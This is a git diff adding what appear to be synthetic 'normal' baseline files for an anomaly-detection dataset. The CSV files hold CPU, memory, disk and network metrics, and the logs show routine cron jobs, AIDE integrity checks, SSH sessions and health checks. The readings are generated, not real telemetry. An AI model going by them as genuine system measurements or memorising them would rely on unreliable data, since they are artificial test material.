b/norm_dataset/scenario_16/norm_16_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..11e3ba60959797e3e809cc23805f5a55637acbff --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:00:00Z,10.534824428948902,37.71890227362319,27.785053439798766,0.7474491972587739,0.9807603547780118 +2025-08-15T14:00:05Z,16.867141627705426,35.73885497650876,23.89903425040235,1.2494844180409468,0.931131000783322 +2025-08-15T14:00:10Z,12.488002645991024,35.84490625613057,29.393047183100386,1.3965806494930106,1.131655399374495 +2025-08-15T14:00:15Z,18.395980400043086,41.325241801060876,33.04334158106404,1.2608550881961864,0.7831525471516153 +2025-08-15T14:00:20Z,16.823910432467258,43.21907250652476,27.403180707295768,0.9368170165775457,0.8772343044795724 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+2025-08-15T14:07:05Z,12.705437164974505,44.13769028205565,29.090703028466137,0.5026221669645516,0.7914319529421932 +2025-08-15T14:07:10Z,13.173781412397672,43.632650768941275,24.585900722112022,1.2236717064914435,1.0015964055099493 +2025-08-15T14:07:15Z,16.087773185842757,40.34355477067358,21.738363351738098,1.2129676896645192,0.9016614245303739 +2025-08-15T14:07:20Z,11.342393498968912,44.67305131910928,39.545640793403955,1.0781847303614374,1.4125832887729983 +2025-08-15T14:07:25Z,10.54798396185303,41.438778336283235,20.407078560280855,0.7921292416418929,0.5846219067641656 diff --git a/norm_dataset/scenario_16/norm_16_17.log b/norm_dataset/scenario_16/norm_16_17.log new file mode 100644 index 0000000000000000000000000000000000000000..00cb337280f1365b8e0d2f21c54e7afa0373fdf6 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_17.log @@ -0,0 +1,18 @@ +Aug 15 14:00:10 systemd[1]: Starting daily clean up activities... +Aug 15 14:00:45 web-app[3456]: GET /api/v1/health status=200 OK +Aug 15 14:01:30 sshd[5123]: Accepted publickey for user admin from 192.168.1.10 port 22 +Aug 15 14:02:05 systemd[1]: Started Session 12 of user admin. +Aug 15 14:02:25 CRON[7788]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 15 14:02:30 CRON[7789]: (root) CMD (/usr/sbin/aide --check) +Aug 15 14:02:31 aide[7790]: INFO: Starting AIDE integrity check... +Aug 15 14:02:33 aide[7790]: INFO: Scan started. +Aug 15 14:03:00 web-app[3456]: GET /api/v1/metrics status=200 OK +Aug 15 14:03:30 kernel: [12345.678] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 15 14:04:00 ntpd[1234]: Soliciting pool 2.debian.pool.ntp.org +Aug 15 14:05:23 aide[7790]: INFO: All files match the baseline. +Aug 15 14:05:25 aide[7790]: INFO: Scan finished. +Aug 15 14:05:26 aide[7790]: INFO: AIDE check finished. +Aug 15 14:05:40 web-app[3456]: GET /api/v1/health status=200 OK +Aug 15 14:05:55 sshd[5123]: Disconnected from user admin 192.168.1.10 port 22 +Aug 15 14:06:20 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 15 14:06:35 CRON[8899]: (root) CMD ( [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi) diff --git a/norm_dataset/scenario_16/norm_16_18.csv b/norm_dataset/scenario_16/norm_16_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..9ff9f3900aa01ac68f71ee2af37fc7f9ec0915d9 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-02T12:06:40Z,13.537681631331765,42.89005387373173,41.724713968292605,1.2930319856346848,1.1358751070592268 +2025-07-02T12:06:45Z,17.896589510022466,39.577875840527184,32.10324892757157,1.0134713210659108,0.6372050135585705 +2025-07-02T12:06:50Z,11.561023488890005,36.8729481097366,39.57408412190332,1.2815776884140424,0.972633435900899 +2025-07-02T12:06:55Z,17.55781831639559,41.826461153164544,31.66101088141598,0.8814546784890985,0.9530035762307544 +2025-07-02T12:07:00Z,12.57745497426879,45.13232163134184,27.0326437851825,0.7650945149985032,0.6109125604109615 +2025-07-02T12:07:05Z,14.205285935609464,36.03966982565525,43.4161643882892,0.8590560774836719,0.8162717551174306 +2025-07-02T12:07:10Z,16.894730613527315,35.888829908312815,21.277161889427465,1.1137632497139878,0.9924405546729462 +2025-07-02T12:07:15Z,12.415593494733754,46.8652916598744,41.29380363787811,0.8659440374147649,0.7798147466208625 +2025-07-02T12:07:20Z,13.767542340441105,43.11136155505537,26.845214171132184,0.8085449804825341,0.674326111763316 +2025-07-02T12:07:25Z,17.103311952367328,35.0672665608616,30.397269840788823,1.1187573771937023,0.9306544394817378 diff --git a/norm_dataset/scenario_16/norm_16_18.log b/norm_dataset/scenario_16/norm_16_18.log new file mode 100644 index 0000000000000000000000000000000000000000..92b87aeb79667cf849115d6359a1e1dd8dd418d2 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_18.log @@ -0,0 +1,20 @@ +Jul 02 12:00:25 systemd[1]: Starting daily user session cleaning... +Jul 02 12:00:50 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:01:30 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:05 sshd[7890]: Accepted publickey for user admin from 192.168.1.10 port 22 +Jul 02 12:02:30 CRON[6590]: (root) CMD (/usr/bin/aide --check) +Jul 02 12:02:31 aide[6591]: INFO: Starting AIDE integrity check... +Jul 02 12:02:32 aide[6591]: INFO: Scan started. +Jul 02 12:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:03:20 web-app[1357]: GET /api/v1/metrics status=200 OK +Jul 02 12:03:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:10 kernel: [12345.678] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 12:04:35 web-app[1357]: GET /api/v1/user/99 status=200 OK +Jul 02 12:05:00 aide[6591]: INFO: All files match the baseline. +Jul 02 12:05:01 aide[6591]: INFO: Scan finished. +Jul 02 12:05:02 CRON[6590]: (root) CMD (/usr/bin/aide --check) completed. +Jul 02 12:05:25 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:06:00 sshd[8123]: session closed for user admin +Jul 02 12:06:40 systemd[1]: Finished daily user session cleaning. +Jul 02 12:07:05 CRON[7011]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:07:25 web-app[1357]: GET /api/v1/user/42 status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_19.csv b/norm_dataset/scenario_16/norm_16_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..6880406240b2c428b91890218af8f49dfeb040bd --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-19T10:06:40Z,14.560656224324976,38.22097114074895,25.365347642109583,1.0621815131196009,0.8768130897878615 +2025-08-19T10:06:45Z,15.714225143023492,38.368379430069126,29.702373219691,1.2950712433899105,0.7934610503811814 +2025-08-19T10:06:50Z,17.955788089483033,39.84579658117179,13.793663299654636,1.171531924640404,0.3865115799920247 +2025-08-19T10:06:55Z,13.963459563452705,40.68230394963329,24.878061793328552,0.9680122940073146,0.7821759920974424 +2025-08-19T10:07:00Z,13.383012794213625,40.55338159866004,28.7371592430342,0.9961967584194622,0.5391060998990294 +2025-08-19T10:07:05Z,13.996485912830927,41.65436649807205,23.761084090175753,0.7994941270724383,0.9339345097660078 +2025-08-19T10:07:10Z,16.83080423540415,40.02600378375581,38.16205651965818,0.996297372801522,0.8733196492193697 +2025-08-19T10:07:15Z,15.657502219319369,42.907068154314636,22.849293110196836,0.9422682722159723,0.6120240427345289 +2025-08-19T10:07:20Z,13.940479592465923,39.470686333524085,27.799777566515083,1.064543712067618,0.6972266165326613 +2025-08-19T10:07:25Z,16.02653486622671,45.44033833317924,30.653702886430455,0.8345538112895354,0.5881572956222098 diff --git a/norm_dataset/scenario_16/norm_16_19.log b/norm_dataset/scenario_16/norm_16_19.log new file mode 100644 index 0000000000000000000000000000000000000000..a60c6ac004d20d5052e8acc142738351f0f10c6d --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_19.log @@ -0,0 +1,20 @@ +Aug 19 10:00:10 systemd[1]: Starting daily network maintenance... +Aug 19 10:00:45 web-app[1567]: GET /api/v1/health status=200 OK +Aug 19 10:01:15 kernel: [12345.678] usb 1-1: new high-speed USB device number 3 using xhci_hcd +Aug 19 10:01:50 web-app[1567]: GET /api/v1/user/42 status=200 OK +Aug 19 10:02:20 systemd[1]: Started Session 123 of user root. +Aug 19 10:02:30 CRON[8852]: (root) CMD (aide --check) +Aug 19 10:02:35 aide[8853]: INFO: Starting AIDE integrity check... +Aug 19 10:02:40 aide[8853]: INFO: Scan started. +Aug 19 10:03:00 sshd[8860]: Accepted publickey for user admin from 192.168.1.100 port 22 +Aug 19 10:03:30 kernel: [12515.111] NET: Registered protocol family 10 +Aug 19 10:04:05 web-app[1567]: GET /api/v1/metrics status=200 OK +Aug 19 10:04:40 systemd[1]: Starting system cleanup... +Aug 19 10:05:10 web-app[1567]: POST /api/v1/submit status=201 Created +Aug 19 10:05:45 aide[8853]: INFO: All files match the baseline. +Aug 19 10:05:50 aide[8853]: INFO: Scan finished. +Aug 19 10:06:00 CRON[8852]: (root) CMD (aide --check) completed +Aug 19 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 19 10:06:40 systemd[1]: Daily network maintenance finished. +Aug 19 10:07:05 web-app[1567]: GET /api/v1/status status=200 OK +Aug 19 10:07:20 kernel: [12740.333] random: crng init done diff --git a/norm_dataset/scenario_16/norm_16_2.csv b/norm_dataset/scenario_16/norm_16_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..d86bec74db58768b8f3eaccef4fdbabe62f1ce1a --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,12.49,42.2,24.72,0.52,0.54 +2025-08-15T10:00:05Z,10.07,39.71,36.56,1.1,1.34 +2025-08-15T10:00:10Z,12.66,38.9,34.75,0.79,0.58 +2025-08-15T10:00:15Z,13.8,37.73,21.51,0.83,1.26 +2025-08-15T10:00:20Z,10.16,40.04,23.51,0.8,0.54 +2025-08-15T10:00:25Z,14.77,36.74,30.89,1.19,0.93 +2025-08-15T10:00:30Z,10.47,41.0,35.3,1.21,0.62 +2025-08-15T10:00:35Z,12.89,40.99,39.12,0.73,0.73 +2025-08-15T10:00:40Z,14.47,35.75,22.17,1.09,0.97 +2025-08-15T10:00:45Z,12.46,44.83,35.46,0.84,0.92 +2025-08-15T10:00:50Z,11.78,35.82,39.22,0.88,1.09 +2025-08-15T10:00:55Z,12.08,35.89,27.28,0.67,0.64 +2025-08-15T10:01:00Z,14.29,43.85,35.35,0.87,1.49 +2025-08-15T10:01:05Z,14.29,37.41,35.51,1.25,1.03 +2025-08-15T10:01:10Z,10.5,38.46,30.32,0.86,0.74 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/dev/null +++ b/norm_dataset/scenario_16/norm_16_2.log @@ -0,0 +1,18 @@ +Aug 15 10:00:10 systemd[1]: Starting daily clean up activities... +Aug 15 10:00:35 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 15 10:01:10 sshd[3102]: Accepted publickey for user from 192.168.1.10 port 22 +Aug 15 10:01:50 systemd[1]: Started session 12 of user. +Aug 15 10:02:25 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 15 10:02:30 CRON[4521]: (root) CMD (run-parts --report /etc/cron.daily/aide) +Aug 15 10:02:31 aide[4523]: INFO: Starting AIDE integrity check... +Aug 15 10:02:32 aide[4523]: INFO: Scan started. +Aug 15 10:03:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:03:30 systemd[1]: Starting clean up of old temporary directories... +Aug 15 10:04:10 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:04:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 15 10:04:58 aide[4523]: INFO: All files match the baseline. +Aug 15 10:04:59 aide[4523]: INFO: Scan finished. +Aug 15 10:05:00 web-app[1234]: POST /api/v1/login status=200 OK +Aug 15 10:05:50 systemd[1]: Starting daily clean up activities... +Aug 15 10:06:40 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 15 10:07:20 sshd[4501]: Disconnected from user 192.168.1.10 port 22 diff --git a/norm_dataset/scenario_16/norm_16_20.csv b/norm_dataset/scenario_16/norm_16_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..77743b68045b8c560eef0fb3b1064487df96dfb9 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T14:00:00Z,17.07229819173142,41.52994369468528,36.29900852473648,1.276205985488712,0.893566292557133 +2025-08-19T14:00:05Z,16.151443052650936,37.84939566123986,37.52635503562473,1.1541186673008472,1.0482697782330197 +2025-08-19T14:00:10Z,16.220774086713654,40.63109030724017,31.00330451096394,1.2839541458834949,1.2212926022139643 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0000000000000000000000000000000000000000..734f6b96d9eb5664afa2a54d90339af26770ad88 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_20.log @@ -0,0 +1,14 @@ +Aug 19 14:00:10 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 19 14:00:45 systemd[1]: Starting daily clean up activities... +Aug 19 14:01:30 web-app[1234]: GET /api/v1/user/21 status=200 OK +Aug 19 14:02:25 CRON[6789]: (root) CMD (/usr/bin/aide.wrapper) +Aug 19 14:02:30 aide[6790]: INFO: Starting AIDE integrity check... +Aug 19 14:02:35 aide[6790]: INFO: Scan started. +Aug 19 14:03:30 web-app[1234]: GET /api/v1/status status=200 OK +Aug 19 14:04:30 systemd[1]: Starting session-c2.scope. +Aug 19 14:05:00 aide[6790]: INFO: All files match the baseline. +Aug 19 14:05:05 aide[6790]: INFO: Scan finished. +Aug 19 14:05:15 CRON[6789]: (root) CMD (/usr/bin/aide.wrapper) process completed +Aug 19 14:05:30 web-app[1234]: GET /api/v1/user/33 status=200 OK +Aug 19 14:06:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 14:06:30 web-app[1234]: GET /api/v1/user/18 status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_21.csv b/norm_dataset/scenario_16/norm_16_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..1ccff0030e5938cd8496493ac276f6b51da1a557 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,15.04,42.09,28.59,1.05,0.85 +2025-07-15T14:00:05Z,11.85,43.87,36.49,0.79,0.72 +2025-07-15T14:00:10Z,11.47,40.13,29.35,1.14,0.93 +2025-07-15T14:00:15Z,15.56,40.55,40.55,1.31,0.73 +2025-07-15T14:00:20Z,14.45,38.97,25.74,0.99,0.79 +2025-07-15T14:00:25Z,15.71,43.68,27.22,0.94,0.72 +2025-07-15T14:00:30Z,12.89,41.78,30.31,1.25,0.44 +2025-07-15T14:00:35Z,15.36,42.25,19.63,1.29,0.87 +2025-07-15T14:00:40Z,13.39,40.19,27.7,0.97,1.1 +2025-07-15T14:00:45Z,14.2,37.93,26.81,1.38,0.77 +2025-07-15T14:00:50Z,12.89,36.97,22.95,0.78,0.71 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+2025-07-15T14:07:25Z,16.4,37.04,30.25,1.12,0.93 diff --git a/norm_dataset/scenario_16/norm_16_21.log b/norm_dataset/scenario_16/norm_16_21.log new file mode 100644 index 0000000000000000000000000000000000000000..4d2d7187a409597f892fdec3f3137f903a33a099 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_21.log @@ -0,0 +1,19 @@ +Jul 15 14:00:10 systemd[1]: Starting daily clean up activities... +Jul 15 14:00:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 15 14:01:30 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:02:05 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 14:02:30 CRON[5432]: (root) CMD (aide --check) +Jul 15 14:02:31 aide[5433]: INFO: Starting AIDE integrity check... +Jul 15 14:02:32 aide[5433]: INFO: Scan started. +Jul 15 14:03:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 15 14:04:10 systemd[1]: Starting session-c2.scope. +Jul 15 14:05:00 web-app[1234]: POST /api/v1/login status=200 OK +Jul 15 14:05:48 aide[5433]: INFO: Processing rule: /etc +Jul 15 14:05:49 aide[5433]: INFO: Processing rule: /bin +Jul 15 14:05:50 aide[5433]: INFO: All files match the baseline. +Jul 15 14:05:51 aide[5433]: INFO: Scan finished. +Jul 15 14:05:52 CRON[5432]: (root) CMD (aide --check) completed. +Jul 15 14:06:15 web-app[1234]: GET /api/v1/user/99 status=200 OK +Jul 15 14:06:40 systemd[1]: Daily clean up activities finished. +Jul 15 14:07:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 14:07:25 kernel: [12345.6789] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. diff --git a/norm_dataset/scenario_16/norm_16_22.csv b/norm_dataset/scenario_16/norm_16_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..3e4a3c03a746e5feb9a3bbcfb1274821fbcab2b5 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,8.745401188473625,36.19594245938302,16.82132702100517,1.3093611554785136,0.8881699262065219 +2025-08-19T10:00:05Z,14.50714306409916,42.132447872229946,12.269470424811782,1.3101133946791808,1.1432882184423532 +2025-08-19T10:00:10Z,12.31993941811405,42.60785048616897,28.493872365571256,1.3670723185801037,0.9582528904915166 +2025-08-19T10:00:15Z,10.986584841970366,40.61277197569496,27.54678706761962,1.4132405525564713,1.045616789315935 +2025-08-19T10:00:20Z,6.560186404424365,42.70967179954561,15.158832554303112,1.0113423988609378,1.4414648087765252 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+2025-08-19T10:07:05Z,8.251833220267471,36.743664290049914,24.815372355084087,1.1424192782063156,1.4472485773838586 +2025-08-19T10:07:10Z,12.29606178338064,41.90937738102466,23.94031481990536,0.5265113105416218,1.486001063822871 +2025-08-19T10:07:15Z,11.375574713552131,38.86735346300537,24.049681679742186,1.0857755812734633,1.2533781852589416 +2025-08-19T10:07:20Z,13.872127425763265,44.367299887367345,17.189823024395103,1.4402302414249575,0.8762595855309158 +2025-08-19T10:07:25Z,9.722149251619493,36.37520944145993,15.871836885289866,1.075474177875879,0.5835007166986688 diff --git a/norm_dataset/scenario_16/norm_16_22.log b/norm_dataset/scenario_16/norm_16_22.log new file mode 100644 index 0000000000000000000000000000000000000000..cc14dc8e2f66dd2082114ecbfce4f54b2e61e06b --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_22.log @@ -0,0 +1,20 @@ +Aug 19 10:00:05 web-app[1234]: GET /api/v1/user/10 status=200 OK +Aug 19 10:00:20 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 19 10:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 10:01:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:01:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 19 10:01:45 web-app[1234]: POST /api/v1/login status=200 OK +Aug 19 10:01:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 10:02:20 systemd[1]: Started session 123 of user root. +Aug 19 10:02:45 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 19 10:03:10 web-app[1234]: GET /api/v1/user/18 status=200 OK +Aug 19 10:03:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 10:04:00 CRON[5678]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 19 10:04:35 web-app[1234]: GET /api/v1/data status=200 OK +Aug 19 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:25 web-app[1234]: GET /api/v1/user/25 status=200 OK +Aug 19 10:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 10:06:20 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 19 10:06:50 web-app[1234]: GET /api/v1/config status=200 OK +Aug 19 10:07:20 systemd[1]: Daily apt download activities completed. diff --git a/norm_dataset/scenario_16/norm_16_23.csv b/norm_dataset/scenario_16/norm_16_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..6e5e0f22e2a92065940403e6b4f67426c8d76d85 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,12.31,40.04,22.06,0.59,0.63 +2025-07-02T12:00:05Z,18.71,40.35,25.56,1.38,0.71 +2025-07-02T12:00:10Z,15.63,36.30,26.36,0.63,0.81 +2025-07-02T12:00:15Z,13.49,35.06,24.26,1.38,0.88 +2025-07-02T12:00:20Z,19.93,38.44,25.90,0.64,1.40 +2025-07-02T12:00:25Z,16.07,40.73,38.37,0.65,0.55 +2025-07-02T12:00:30Z,12.72,38.08,32.84,1.09,0.68 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+2025-07-02T12:03:45Z,85.47,43.10,201.99,0.51,0.54 +2025-07-02T12:03:50Z,82.99,46.90,281.44,0.93,1.16 +2025-07-02T12:03:55Z,87.35,41.74,292.72,0.52,1.23 +2025-07-02T12:04:00Z,90.78,40.46,228.94,0.68,0.83 +2025-07-02T12:04:05Z,87.58,41.53,224.95,1.14,0.83 +2025-07-02T12:04:10Z,89.80,40.86,297.80,1.36,1.31 +2025-07-02T12:04:15Z,94.36,43.96,204.62,0.97,1.22 +2025-07-02T12:04:20Z,87.96,49.62,222.62,1.26,0.99 +2025-07-02T12:04:25Z,84.17,46.03,216.24,0.59,1.14 +2025-07-02T12:04:30Z,89.13,41.48,203.87,0.76,1.12 +2025-07-02T12:04:35Z,83.12,45.46,276.73,1.50,0.59 +2025-07-02T12:04:40Z,85.88,48.65,265.66,1.44,0.70 +2025-07-02T12:04:45Z,81.16,47.66,228.87,0.89,0.74 +2025-07-02T12:04:50Z,93.97,44.53,251.57,1.21,1.14 +2025-07-02T12:04:55Z,89.14,46.58,233.99,1.45,0.80 +2025-07-02T12:05:00Z,80.70,47.55,237.57,1.36,0.64 +2025-07-02T12:05:05Z,91.55,41.21,299.48,0.77,0.73 +2025-07-02T12:05:10Z,81.69,42.67,280.26,0.78,0.98 +2025-07-02T12:05:15Z,84.62,46.19,206.12,0.74,1.25 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+2025-07-02T12:06:55Z,16.51,35.58,34.03,0.62,0.91 +2025-07-02T12:07:00Z,12.47,36.74,34.07,1.01,1.21 +2025-07-02T12:07:05Z,16.31,38.96,37.52,0.87,0.59 +2025-07-02T12:07:10Z,11.72,35.68,23.96,1.36,0.62 +2025-07-02T12:07:15Z,10.53,44.67,28.29,0.62,1.38 +2025-07-02T12:07:20Z,19.04,36.50,30.27,1.29,0.89 +2025-07-02T12:07:25Z,17.57,38.39,24.64,0.69,1.27 diff --git a/norm_dataset/scenario_16/norm_16_23.log b/norm_dataset/scenario_16/norm_16_23.log new file mode 100644 index 0000000000000000000000000000000000000000..1a893bac3ace56e4c8963df8cd72e01d8c2a97f5 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_23.log @@ -0,0 +1,19 @@ +Jul 02 12:00:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:25 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:01:05 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:30 web-app[1357]: GET /api/v1/metrics status=200 OK +Jul 02 12:02:00 CRON[6590]: (root) CMD (/usr/sbin/aide --check) +Jul 02 12:02:01 systemd[1]: Starting AIDE integrity check... +Jul 02 12:02:05 aide[6592]: INFO: AIDE 0.17.3a scan started. +Jul 02 12:02:15 web-app[1357]: GET /api/v1/user/45 status=200 OK +Jul 02 12:02:45 sshd[6601]: Accepted publickey for user root from 192.168.1.10 port 22 +Jul 02 12:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:00 systemd[1]: session-c5.scope: Succeeded. +Jul 02 12:05:05 web-app[1357]: GET /api/v1/user/99 status=200 OK +Jul 02 12:05:45 aide[6592]: INFO: All files match the baseline. +Jul 02 12:05:47 aide[6592]: INFO: AIDE scan finished. +Jul 02 12:05:48 systemd[1]: aide-check.service: Succeeded. +Jul 02 12:06:15 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:06:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:20 CRON[6780]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:07:35 web-app[1357]: GET /api/v1/metrics status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_24.csv b/norm_dataset/scenario_16/norm_16_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..928b972866cb9cb210153686eed0772782f027be --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,15.28,39.66,5.0,1.5,0.75 +2025-08-19T10:00:05Z,14.33,40.42,13.77,1.98,1.1 +2025-08-19T10:00:10Z,16.32,40.68,6.76,1.36,0.91 +2025-08-19T10:00:15Z,14.02,38.74,12.4,1.62,1.22 +2025-08-19T10:00:20Z,19.01,41.1,5.0,0.74,0.69 +2025-08-19T10:00:25Z,13.21,39.75,11.87,1.48,0.69 +2025-08-19T10:00:30Z,16.81,40.25,10.14,0.88,0.4 +2025-08-19T10:00:35Z,14.38,41.23,10.95,1.61,0.91 +2025-08-19T10:00:40Z,19.7,38.49,9.44,1.15,1.4 +2025-08-19T10:00:45Z,18.1,39.23,10.47,1.25,0.9 +2025-08-19T10:00:50Z,12.87,39.29,11.65,1.14,0.77 +2025-08-19T10:00:55Z,15.05,40.99,8.5,0.78,0.95 +2025-08-19T10:01:00Z,13.96,41.25,14.63,1.14,0.96 +2025-08-19T10:01:05Z,15.53,39.52,12.06,1.0,0.89 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+2025-08-19T10:06:10Z,14.35,40.39,9.38,1.02,0.79 +2025-08-19T10:06:15Z,14.65,38.27,12.96,2.0,0.88 +2025-08-19T10:06:20Z,15.45,38.15,11.08,1.31,0.68 +2025-08-19T10:06:25Z,13.59,40.25,12.29,1.05,0.92 +2025-08-19T10:06:30Z,13.89,40.29,9.16,1.3,0.79 +2025-08-19T10:06:35Z,16.46,38.49,6.73,0.91,0.86 +2025-08-19T10:06:40Z,15.83,39.38,12.91,1.48,0.99 +2025-08-19T10:06:45Z,17.99,39.61,9.82,0.95,0.52 +2025-08-19T10:06:50Z,18.18,38.4,5.0,1.06,0.9 +2025-08-19T10:06:55Z,13.87,39.22,11.77,0.9,1.09 +2025-08-19T10:07:00Z,14.33,38.81,15.96,1.39,1.14 +2025-08-19T10:07:05Z,19.04,40.57,8.24,1.06,0.93 +2025-08-19T10:07:10Z,13.97,39.32,7.23,1.06,0.69 +2025-08-19T10:07:15Z,15.82,39.85,5.0,0.95,0.64 +2025-08-19T10:07:20Z,13.12,39.46,11.28,1.01,0.84 +2025-08-19T10:07:25Z,14.62,39.9,9.34,0.87,1.06 diff --git a/norm_dataset/scenario_16/norm_16_24.log b/norm_dataset/scenario_16/norm_16_24.log new file mode 100644 index 0000000000000000000000000000000000000000..7e46c3ccee35dd1d8629ea7ec4b891eea512066e --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_24.log @@ -0,0 +1,18 @@ +Aug 19 10:00:05 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 19 10:01:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:01:35 web-app[1234]: GET /api/v1/health status=200 OK +Aug 19 10:02:00 CRON[7012]: (root) CMD (/usr/bin/aide --check) +Aug 19 10:02:01 aide[7015]: INFO: AIDE integrity check started. +Aug 19 10:02:02 aide[7015]: INFO: Reading baseline database: /var/lib/aide/aide.db.gz +Aug 19 10:02:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 10:03:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 19 10:03:50 systemd[1]: Starting daily clean up activities... +Aug 19 10:04:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 19 10:04:55 aide[7015]: INFO: All files match the baseline. +Aug 19 10:04:56 aide[7015]: INFO: AIDE integrity check finished. +Aug 19 10:04:57 aide[7015]: INFO: Total files: 15432, Added: 0, Removed: 0, Changed: 0 +Aug 19 10:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 10:06:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 19 10:06:40 CRON[8123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:07:15 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_25.csv b/norm_dataset/scenario_16/norm_16_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..67adf0d53d198a514a2fde20954f500346e45ef0 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 